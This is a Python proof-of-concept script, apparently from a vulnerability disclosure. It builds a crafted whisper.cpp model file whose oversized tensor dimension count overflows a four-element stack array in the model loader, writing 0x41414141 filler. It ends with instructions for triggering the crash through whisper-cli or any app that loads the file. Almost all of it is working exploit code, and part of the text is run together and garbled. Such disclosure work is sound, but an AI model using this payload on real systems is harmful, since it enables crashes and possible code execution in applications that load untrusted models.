#!/usr/bin/env python3 """ PoC generator — whisper.cpp unchecked `n_dims` stack buffer overflow. whisper_model_load() (src/whisper.cpp) reads a per-tensor `int32_t n_dims` and then loops `for (i=0; i MODEL_TINY) --- # assert requires n_text_state == n_audio_state hparams = [ 51865, # n_vocab (>=51865 -> multilingual; used only for tensor sizes here) 1500, # n_audio_ctx 384, # n_audio_state 6, # n_audio_head 4, # n_audio_layer -> MODEL_TINY 448, # n_text_ctx 384, # n_text_state (== n_audio_state) 6, # n_text_head 4, # n_text_layer 80, # n_mels 1, # ftype = MOSTLY_F16 ] for h in hparams: b += i32(h) # --- mel filters: minimal (1x1) --- b += i32(1) # n_mel b += i32(1) # n_fft b += f32(0.0) # one filter float # --- vocab: 0 file tokens; loader auto-generates the rest (no file reads) --- b += i32(0) # n_vocab_section = 0 # --- malicious tensor record --- # whisper_model_load reads: n_dims, length(name), ttype, then n_dims x int32 ne[] b += i32(n_dims_evil) # n_dims >> 4 -> overflow ne[4] b += i32(8) # name length (irrelevant: crash happens in the ne[] loop, before name use) b += i32(0) # ttype # provide n_dims sentinel words so every loop iteration performs a write for k in range(n_dims_evil): b += i32(0x41414141) # 'AAAA' — recognizable stack-smash filler return bytes(b) if __name__ == "__main__": out = sys.argv[1] if len(sys.argv) > 1 else "poc_whisper_ndims.bin" nd = int(sys.argv[2], 0) if len(sys.argv) > 2 else 20000 data = build(nd) with open(out, "wb") as f: f.write(data) print(f"wrote {out} ({len(data)} bytes), evil n_dims={nd} -> writes {nd} int32 past stack ne[4]") print(f"trigger: whisper-cli -m {out} (or any app calling whisper_init_from_file)")